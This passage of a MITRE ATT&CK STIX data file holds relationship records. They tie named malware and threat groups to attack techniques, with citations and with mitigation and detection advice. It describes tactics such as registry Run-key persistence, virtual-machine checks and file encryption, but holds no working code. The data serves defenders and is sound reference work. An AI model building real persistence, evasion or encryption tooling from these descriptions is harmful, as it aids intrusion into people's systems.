19)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9aebe474-f443-4007-bb8d-dc7c9f22d5f9","type":"relationship","created":"2022-01-11T16:04:19.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","source_name":"Novetta Winnti April 2015"}],"modified":"2022-01-11T16:04:19.164Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) can run as a service using svchost.exe.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c4bd197-08a2-4ded-baba-bd70b6b4afd0","type":"relationship","created":"2020-02-04T12:58:40.980Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-07T20:49:19.028Z","description":"Proactively search for credentials within the Registry and attempt to remediate the risk.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e36f147a-2893-4e01-869f-d149f2a3469d","created":"2022-04-13T12:50:56.056Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft DEV-0537","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor user accounts for new and suspicious device associations, such as those originating from unusual sources, occurring at unusual times, or following a suspicious login.(Citation: Microsoft DEV-0537) ","modified":"2022-04-18T13:10:09.459Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c406dfb3-d860-4895-858d-e3092cabd5bb","type":"relationship","created":"2020-10-27T19:26:38.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T19:26:38.212Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has used Rundll32 to load a malicious DLL.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--583d2c3b-dd25-4f83-812a-d38cee3cdeef","type":"relationship","created":"2019-01-29T21:47:53.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Micropsia June 2017","url":"https://blog.talosintelligence.com/2017/06/palestine-delphi.html","description":"Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."}],"modified":"2019-04-17T22:05:05.951Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) creates a shortcut to maintain persistence.(Citation: Talos Micropsia June 2017)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5067b073-c076-43c1-9b71-122e31c39575","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9741bd7b-a3f2-4052-b2e0-f0fcf331ceae","type":"relationship","created":"2019-03-11T16:44:33.821Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/EmpireProject/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.252Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use modules like <code>Invoke-SessionGopher</code> to extract private key and session information.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c17b66a9-2911-4f5a-b954-54d881f79dbd","created":"2022-04-19T18:29:46.685Z","x_mitre_version":"0.1","external_references":[{"source_name":"inv_ps_attacks","url":"https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/","description":"Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the <code>EngineVersion</code> field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the <code>HostName</code> field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)","modified":"2022-04-19T18:29:46.685Z","relationship_type":"detects","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4d8fd7fc-eb0b-4031-8df0-ef3d237edb7c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). 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Retrieved September 29, 2020."}],"modified":"2020-09-30T14:23:17.197Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) has the ability to encode and RC6 encrypt data sent to C2.(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c5811e32-72d6-4ac8-8769-15772e7ac50f","type":"relationship","created":"2020-10-20T15:50:00.644Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-04-15T03:07:53.907Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e273286f-8ca7-4d3e-bdc3-08929c7cbd12","type":"relationship","created":"2020-05-28T16:38:03.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. 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Retrieved March 12, 2021."}],"modified":"2021-03-12T17:29:55.648Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) will check if it is being run in a virtualized environment by comparing the collected MAC address to <code>c8:27:cc:c2:37:5a</code>.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--697bd63e-b442-4dc9-8714-6c4b7515369f","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for API calls that may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--55d44c4e-c864-4e6f-ac33-62f13cd08f0e","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. 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Retrieved May 18, 2020."},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-19T13:38:12.616Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has added Registry Run key <code>KCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\SystemTextEncoding</code> to establish persistence.(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d6651e18-7d44-42a4-b597-1b1c344dd852","type":"relationship","created":"2021-07-07T02:17:18.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.689Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office applications from creating child processes and from writing potentially malicious executable content to disk. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--951c72ac-3839-4716-a052-ffa79f5b62fe","type":"relationship","created":"2021-03-23T20:49:40.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist ShadowPad Aug 2017","url":"https://securelist.com/shadowpad-in-corporate-networks/81432/","description":"GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.315Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has encoded data as readable Latin characters.(Citation: Securelist ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd4423f6-b526-4856-aa00-2c4aa36617da","type":"relationship","created":"2020-08-11T21:15:35.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). 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Retrieved July 28, 2020."}],"modified":"2020-08-11T21:15:35.628Z","description":"[RDAT](https://attack.mitre.org/software/S0495) has used encoded data within subdomains as AES ciphertext to communicate from the host to the C2.(Citation: Unit42 RDAT July 2020)","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0ef3f47-5651-4638-a007-cb585d3174b0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3909-99","description":"Ladley, F. (2012, May 15). Backdoor.Ritsol. Retrieved February 23, 2018.","source_name":"Symantec Ristol May 2012"}],"modified":"2019-03-22T20:15:19.490Z","description":"The Ritsol backdoor trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) can download files onto a compromised host from a remote location.(Citation: Symantec Ristol May 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69db7ce6-c72e-4710-9e32-48b0a6ca7675","type":"relationship","created":"2020-02-20T15:37:27.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-EU DDoS March 2017","url":"http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf","description":"Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019."}],"modified":"2022-03-25T18:11:13.845Z","description":"Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ffaf382-3e91-409b-932f-24d107c59308","type":"relationship","created":"2019-04-19T14:37:04.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. 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(Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d067b113-4584-419f-860b-d3184f734350","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. 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Retrieved May 26, 2020."}],"modified":"2020-06-03T13:40:15.319Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to use a DGA for C2 communications.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--771f6508-5fc0-456e-b827-05365d3b8672","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Monitor for unexpected deletion of a file in order to manipulate external outcomes or hide activity ","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3bfef472-e4b0-41be-be6b-314400c079cb","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. 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Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.652Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) adds a .lnk file to the Windows startup folder.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f8618b7-f197-4869-bb35-3ca58d171be0","type":"relationship","created":"2021-02-03T18:49:23.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:53.040Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) has changed the creation date of files.(Citation: Prevailion EvilNum May 2020)","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34ad093b-408b-4694-8aba-862f8de10102","type":"relationship","created":"2020-11-09T16:28:37.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-09T16:28:37.700Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) has used malicious VBS e-mail attachments for execution.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb043548-a193-4ade-b69d-d83e3378d255","type":"relationship","created":"2021-10-05T21:58:51.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-19T00:23:15.976Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) performs AES-CBC encryption on files under <code>~/Documents</code>, <code>~/Downloads</code>, and\n<code>~/Desktop</code> with a fixed key and renames files to give them a <code>.enc</code> extension. Only files with sizes \nless than 500MB are encrypted.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b053a36-de7d-476b-bc06-6d712432d615","type":"relationship","created":"2021-03-08T18:27:58.647Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PTSecurity Higaisa 2020","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}],"modified":"2021-03-30T20:26:53.811Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) has exploited CVE-2018-0798 for execution.(Citation: PTSecurity Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2a901d9-61a4-49df-8441-3ae622879cdf","type":"relationship","created":"2021-09-30T13:20:52.142Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}],"modified":"2021-10-12T18:16:40.826Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has the ability to enumerate windows on a compromised host.(Citation: ATT QakBot April 2021)\n","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cc1c2b0-5fb8-420e-8285-db4616a9fab2","type":"relationship","created":"2021-02-08T23:18:31.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.759Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) compares file names and paths to a list of excluded names and directory names during encryption.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb0a3153-dbd8-4f32-8583-6a7e2fade337","type":"relationship","created":"2020-07-17T15:48:51.575Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). 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(2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}],"modified":"2020-05-28T13:54:18.982Z","description":"[MechaFlounder](https://attack.mitre.org/software/S0459) has the ability to send the compromised user's account name and hostname within a URL to C2.(Citation: Unit 42 MechaFlounder March 